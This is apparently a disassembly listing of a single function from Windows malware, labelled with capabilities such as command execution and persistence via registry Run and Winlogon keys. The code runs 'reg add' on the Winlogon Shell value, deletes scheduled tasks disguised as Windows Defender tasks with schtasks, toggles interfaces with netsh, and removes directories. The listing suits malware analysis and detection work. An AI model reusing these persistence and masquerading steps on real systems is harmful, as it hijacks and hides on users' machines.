Function at 0x14001cb00
Capabilities:
Execute command
Persist via run registry key
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x110]
sub rsp, 0x210
mov rax, qword [0x14002b028]
xor rax, rsp
mov qword [rbp + 0x100], rax
mov r12, rcx
mov qword [rbp - 0x20], rcx
xor r13d, r13d
mov rdx, qword [0x14002b178]
movabs rbx, 0x7fffffffffffffff
mov rax, rbx
sub rax, rdx
cmp rax, 9
jb 0x14001dcf1
lea r14, [0x14002b168]
mov rax, r14
cmp qword [0x14002b180], 0x10
cmovae rax, qword [0x14002b168]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:Users_
lea rcx, [rbp - 0x60]
call fcn.14000e880
nop
lea r8d, [r13 + 0x1c]
lea rdx, str.AppDataLocalStoryStopReal
lea rcx, [rbp - 0x60]
call fcn.14000cea0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x90], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], r13b
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x14001cc17
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cc12
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001cc12
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
movdqa xmm0, xmmword [0x140024860]
movdqu xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x60], 0
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x60]
call fcn.14000c820
mov rcx, rax
call fcn.1400027d0
test al, al
jne 0x14001cc6b
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x60]
call fcn.14000c820
mov rcx, rax
call fcn.1400027d0
test al, al
je 0x14001cc44
mov rsi, r13
mov rax, qword [0x14002be78]
mov rcx, qword [0x14002be70]
sub rax, rcx
cmp rax, 0x20
jb 0x14001cdc7
mov rdi, r13
nop dword [rax]
add rcx, rdi
mov rdx, qword [rcx + 0x10]
mov rax, rbx
sub rax, rdx
cmp rax, 0x1f
jb 0x14001dcf7
cmp qword [rcx + 0x18], 0x10
jb 0x14001ccb1
mov rcx, qword [rcx]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], 0x1f
lea r9, str.netsh_interface_set_interface__
lea rcx, [rbp + 0x60]
call fcn.14000e880
nop
mov r8d, 8
lea rdx, str.__enable
lea rcx, [rbp + 0x60]
call fcn.14000cea0
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], r13
mov qword [rbp], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x18], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 8], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x14001cd53
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cd4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d1d8
call fcn.14001e2dc
lea rcx, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae rcx, qword [rbp - 0x18]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x14001cda2
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cd9d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d1df
call fcn.14001e2dc
inc rsi
add rdi, 0x20
mov rax, qword [0x14002be78]
mov rcx, qword [0x14002be70]
sub rax, rcx
sar rax, 5
cmp rsi, rax
jne 0x14001cc90
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 2
mov qword [rsp + 0x58], 0xf
mov eax, 0x6e6f
mov word [rsp + 0x40], ax
mov byte [rsp + 0x42], 0
lea rcx, [rsp + 0x40]
call fcn.140005bb0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x68], rax
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 4
mov qword [rsp + 0x58], 0xf
mov dword [rsp + 0x40], 0x4e414353
mov byte [rsp + 0x44], 0
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], r13
mov qword [rbp + 0x20], 0xf
mov ecx, 0x30
call fcn.14001e2a0
mov qword [rbp + 8], rax
mov qword [rbp + 0x18], 0x23
mov qword [rbp + 0x20], 0x2f
movups xmm0, xmmword [str.MicrosoftWindowsWindows_Defender]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140024540]
movups xmmword [rax + 0x10], xmm1
movzx ecx, word [0x140024550]
mov word [rax + 0x20], cx
movzx ecx, byte [0x140024552]
mov byte [rax + 0x22], cl
mov byte [rax + 0x23], 0
lea r8, [rsp + 0x40]
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x48]
call fcn.140005da0
nop
mov rsi, r13
mov rax, qword [rbp + 0x50]
sub rax, qword [rbp + 0x48]
cmp rax, 0x20
jb 0x14001d0bb
mov rdi, r13
nop dword [rax]
mov rdx, qword [rbp + 0x48]
add rdx, rdi
mov rcx, rdx
cmp qword [rdx + 0x18], 0x10
jb 0x14001ced4
mov rcx, qword [rdx]
cmp qword [rdx + 0x10], 0x1a
jne 0x14001cfb5
mov r8d, 0x1a
lea rdx, str.Security_Microsoft_Service
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14001cfb5
mov qword [rbp - 0x10], r13
lea ecx, [rax + 0x60]
call fcn.14001e2a0
mov rcx, rax
mov qword [rbp - 0x18], rax
mov qword [rbp - 8], 0x57
mov qword [rbp], 0x5f
movaps xmm0, xmmword [str.schtasks__delete__tn__MicrosoftWindowsWindows_DefenderSecurity_Microsoft_Service___f]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140024770]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140024780]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140024790]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400247a0]
movups xmmword [rax + 0x40], xmm0
mov eax, dword [0x1400247b0]
mov dword [rcx + 0x50], eax
movzx eax, word [0x1400247b4]
mov word [rcx + 0x54], ax
movzx eax, byte [0x1400247b6]
mov byte [rcx + 0x56], al
mov byte [rcx + 0x57], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x14001cfb5
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cfb0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d1e6
call fcn.14001e2dc
mov rdx, qword [rbp + 0x48]
add rdx, rdi
mov rcx, rdx
cmp qword [rdx + 0x18], 0x10
jb 0x14001cfc9
mov rcx, qword [rdx]
cmp qword [rdx + 0x10], 0x18
jne 0x14001d09f
mov r8d, 0x18
lea rdx, str.Service_Windows_Defender
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14001d09f
mov qword [rbp + 0x30], r13
lea ecx, [rax + 0x60]
call fcn.14001e2a0
mov rcx, rax
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x38], 0x55
mov qword [rbp + 0x40], 0x5f
movaps xmm0, xmmword [str.schtasks__delete__tn__MicrosoftWindowsWindows_DefenderService_Windows_Defender___f]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400247d0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400247e0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400247f0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140024800]
movups xmmword [rax + 0x40], xmm0
mov eax, dword [0x140024810]
mov dword [rcx + 0x50], eax
movzx eax, byte [0x140024814]
mov byte [rcx + 0x54], al
mov byte [rcx + 0x55], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x14001d09f
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d09a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d1ed
call fcn.14001e2dc
inc rsi
add rdi, 0x20
mov rax, qword [rbp + 0x50]
sub rax, qword [rbp + 0x48]
sar rax, 5
cmp rsi, rax
jne 0x14001cec0
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
mov ecx, 0x40
call fcn.14001e2a0
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xd0], 0x3a
mov qword [rbp + 0xd8], 0x3f
movups xmm0, xmmword [str.HKCUSOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140023fe0]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x140023ff0]
movups xmmword [rax + 0x20], xmm0
movsd xmm1, qword [0x140024000]
movsd qword [rax + 0x30], xmm1
movzx ecx, word [0x140024008]
mov word [rax + 0x38], cx
mov byte [rax + 0x3a], 0
mov qword [rsp + 0x30], 0x3a
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.reg_add__
lea rcx, [rbp + 0x28]
call fcn.14000e880
nop
mov r8d, 0x2b
lea rdx, str.___v__Shell___t_REG_SZ__d__explorer.exe___f
lea rcx, [rbp + 0x28]
call fcn.14000cea0
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xb0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x14001d1f9
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d1f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001d1f4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.14001e2dc
movdqa xmm0, xmmword [0x140024860]
movdqu xmmword [rbp + 0x38], xmm0
mov byte [rbp + 0x28], 0
lea rcx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rcx, qword [rbp + 0xa0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbp + 8]
mov qword [rbp - 0x70], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x70]
mov qword [rbp - 0x68], rax
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], 3
mov qword [rbp + 0x20], 0xf
movzx eax, word [0x140022874]
mov word [rbp + 8], ax
movzx eax, byte [0x140022876]
mov byte [rbp + 0xa], al
mov byte [rbp + 0xb], 0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], r13
mov qword [rbp], 0xf
mov ecx, 0x30
call fcn.14001e2a0
mov rdx, rax
mov qword [rbp - 0x18], rax
mov qword [rbp - 8], 0x2d
mov qword [rbp], 0x2f
movups xmm0, xmmword [str.SOFTWAREMicrosoftWindowsCurrentVersionRun]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140023e78]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x140023e88]
movsd qword [rax + 0x20], xmm0
mov ecx, dword [0x140023e90]
mov dword [rax + 0x28], ecx
movzx eax, byte [0x140023e94]
mov byte [rdx + 0x2c], al
mov byte [rdx + 0x2d], 0
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x70]
lea rdx, [rbp - 0x18]
call fcn.140003bf0
lea rcx, [0x14002b088]
cmp qword [0x14002b0a0], 0x10
cmovae rcx, qword [0x14002b088]
mov r8, qword [0x14002b098]
cmp r8, 0x1e
jne 0x14001d96f
lea rdx, [0x140023e48]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14001d96f
mov rcx, qword [0x14002b178]
mov rax, rbx
sub rax, rcx
cmp rax, 9
jb 0x14001dcfd
mov rax, r14
cmp qword [0x14002b180], 0x10
cmovae rax, qword [0x14002b168]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:Users_
lea rcx, [rsp + 0x70]
call fcn.14000e880
nop
mov r8d, 0x40
lea rdx, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
lea rcx, [rsp + 0x70]
call fcn.14000cea0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x14001d425
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d420
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001d420
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
movdqa xmm0, xmmword [0x140024860]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
mov rcx, qword [0x14002b178]
mov rax, rbx
sub rax, rcx
cmp rax, 9
jb 0x14001dd03
mov rax, r14
cmp qword [0x14002b180], 0x10
cmovae rax, qword [0x14002b168]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:Users_
lea rcx, [rbp + 0x28]
call fcn.14000e880
nop
mov r15d, 0x16
mov r8d, r15d
lea rdx, str.AppDataLocalService
lea rcx, [rbp + 0x28]
call fcn.14000cea0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x18], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x14001d4fa
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d4f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001d4f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
movdqa xmm0, xmmword [0x140024860]
movdqu xmmword [rbp + 0x38], xmm0
mov byte [rbp + 0x28], 0
mov rax, rbx
mov rcx, qword [rbp + 0x18]
sub rax, rcx
cmp rax, 2
jb 0x14001dd09
lea r9, [rbp + 8]
cmp qword [rbp + 0x20], 0x10
cmovae r9, qword [rbp + 8]
mov qword [rsp + 0x30], 2
lea rax, [0x140024194]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0xe0]
call fcn.14000e880
nop
mov rcx, qword [0x14002b178]
mov rax, rbx
sub rax, rcx
cmp rax, 9
jb 0x14001dd0f
cmp qword [0x14002b180], 0x10
cmovae r14, qword [0x14002b168]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], 9
lea r9, str.C:Users_
lea rcx, [rsp + 0x70]
call fcn.14000e880
nop
mov r8d, 0x14
lea rdx, str.AppDataLocalStory
lea rcx, [rsp + 0x70]
call fcn.14000cea0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x38], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x14001d614
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d60f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001d60f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
movdqa xmm0, xmmword [0x140024860]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
lea rax, [rbp - 0x18]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], r13
mov qword [rbp], r13
lea r14, [rbp + 0x60]
mov rsi, qword [rbp + 0x60]
mov r13, qword [rbp + 0x78]
cmp r13, 0x10
cmovae r14, rsi
mov rdi, qword [rbp + 0x70]
cmp rdi, rbx
ja 0x14001dd15
mov qword [rbp], 0xf
cmp rdi, 0x10
jae 0x14001d688
mov qword [rbp - 8], rdi
mov r8d, 0x10
mov rdx, r14
lea rcx, [rbp - 0x18]
call sub.VCRUNTIME140.dll_memmove
jmp 0x14001d716
mov rax, rdi
or rax, 0xf
cmp rax, rbx
ja 0x14001d69f
mov rbx, rax
cmp rax, 0x16
cmovb rbx, r15
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x14001d6ec
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001dd1b
mov rcx, rax
call fcn.14001e2a0
mov rcx, rax
test rax, rax
je 0x14001d6e5
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14001d6fa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14001d6f8
call fcn.14001e2a0
jmp 0x14001d6fa
xor eax, eax
mov qword [rbp - 0x18], rax
mov qword [rbp - 8], rdi
mov qword [rbp], rbx
lea r8, [rdi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 3
mov qword [rsp + 0x58], 0xf
movzx eax, word [0x140024198]
mov word [rsp + 0x40], ax
movzx eax, byte [0x14002419a]
mov byte [rsp + 0x42], al
mov byte [rsp + 0x43], 0
lea rdx, [rbp - 0x18]
lea rcx, [rsp + 0x40]
call fcn.140003ff0
lea rax, [rbp - 0x18]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0x28]
lea rcx, [rbp - 0x18]
call fcn.14000c820
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 5
mov qword [rsp + 0x58], 0xf
mov ecx, dword [str.rmdir]
mov dword [rsp + 0x40], ecx
movzx ecx, byte [0x140023f78]
mov byte [rsp + 0x44], cl
mov byte [rsp + 0x45], 0
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140003ff0
lea rax, [rbp - 0x18]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0x80]
lea rcx, [rbp - 0x18]
call fcn.14000c820
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 5
mov qword [rsp + 0x58], 0xf
mov ecx, dword [str.rmdir]
mov dword [rsp + 0x40], ecx
movzx ecx, byte [0x140023f78]
mov byte [rsp + 0x44], cl
mov byte [rsp + 0x45], 0
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140003ff0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x60], rax
lea rax, [rbp - 0x18]
mov qword [rbp - 0x68], rax
lea rdx, [0x14002b088]
lea rcx, [rsp + 0x40]
call fcn.14000c820
mov rdi, rax
lea rdx, [rbp + 8]
lea rcx, [rbp - 0x18]
call fcn.14000c820
mov rbx, rax
lea rdx, [rbp + 0xe0]
lea rcx, [rbp - 0x40]
call fcn.14000c820
nop
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.1400042a0
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x14001d8a2
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d89c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001d89c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x14001d8e7
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d8e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001d8e1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x14001d926
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d920
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001d920
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
nop
cmp r13, 0x10
jb 0x14001d960
lea rdx, [r13 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14001d958
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001d958
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.14001e2dc
mov rsi, qword [rbp + 0x98]
xor r13d, r13d
jmp 0x14001db23
lea rax, [rbp - 0x18]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], r13
mov qword [rbp], r13
lea r14, [rbp + 0x80]
mov rsi, qword [rbp + 0x98]
cmp rsi, 0x10
cmovae r14, qword [rbp + 0x80]
mov rdi, qword [rbp + 0x90]
cmp rdi, rbx
ja 0x14001dd21
mov qword [rbp], 0xf
cmp rdi, 0x10
jae 0x14001d9da
mov qword [rbp - 8], rdi
mov r8d, 0x10
mov rdx, r14
lea rcx, [rbp - 0x18]
call sub.VCRUNTIME140.dll_memmove
jmp 0x14001da6e
mov rax, rdi
or rax, 0xf
cmp rax, rbx
ja 0x14001d9f6
mov rbx, rax
mov r15d, 0x16
cmp rax, r15
cmovb rbx, r15
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x14001da43
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001dceb
mov rcx, rax
call fcn.14001e2a0
mov rcx, rax
test rax, rax
je 0x14001da3c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14001da52
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14001da4f
call fcn.14001e2a0
jmp 0x14001da52
mov rax, r13
mov qword [rbp - 0x18], rax
mov qword [rbp - 8], rdi
mov qword [rbp], rbx
lea r8, [rdi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 5
mov qword [rsp + 0x58], 0xf
mov eax, dword [str.rmdir]
mov dword [rsp + 0x40], eax
movzx eax, byte [0x140023f78]
mov byte [rsp + 0x44], al
mov byte [rsp + 0x45], 0
lea rdx, [rbp - 0x18]
lea rcx, [rsp + 0x40]
call fcn.140003ff0
lea rax, [rbp - 0x40]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x40]
mov qword [rbp - 0x68], rax
lea rdx, [0x14002b088]
lea rcx, [rbp - 0x40]
call fcn.14000c820
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 2
mov qword [rsp + 0x58], 0xf
mov eax, 0x4f4e
mov word [rsp + 0x40], ax
mov byte [rsp + 0x42], 0
lea rdx, str.NONE
lea rcx, [rbp + 0xe0]
call fcn.14000c820
nop
mov r8, rbx
lea rdx, [rsp + 0x40]
mov rcx, rax
call fcn.1400042a0
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x14001db67
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001db62
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001db62
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
movdqa xmm0, xmmword [0x140024860]
movdqu xmmword [rbp + 0xb0], xmm0
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x14001dbc3
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001dbbd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001dbbd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
nop
mov rcx, qword [rbp + 0x48]
test rcx, rcx
je 0x14001dc11
mov rdx, qword [rbp + 0x50]
call fcn.14000dd80
mov rdx, qword [rbp + 0x58]
mov rcx, qword [rbp + 0x48]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001dc0c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001dc0c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
lea rdx, [0x14002b0c8]
lea rcx, [rbp - 0x40]
call fcn.14000c820
mov rcx, rax
call fcn.140003a00
nop
cmp rsi, 0x10
jb 0x14001dc69
lea rdx, [rsi + 1]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001dc63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001dc63
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
nop
mov rdx, qword [r12 + 0x18]
cmp rdx, 0x10
jb 0x14001dca1
inc rdx
mov rcx, qword [r12]
cmp rdx, 0x1000
jb 0x14001dc9c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14001dce4
mov rcx, r8
call fcn.14001e2dc
mov qword [r12 + 0x10], r13
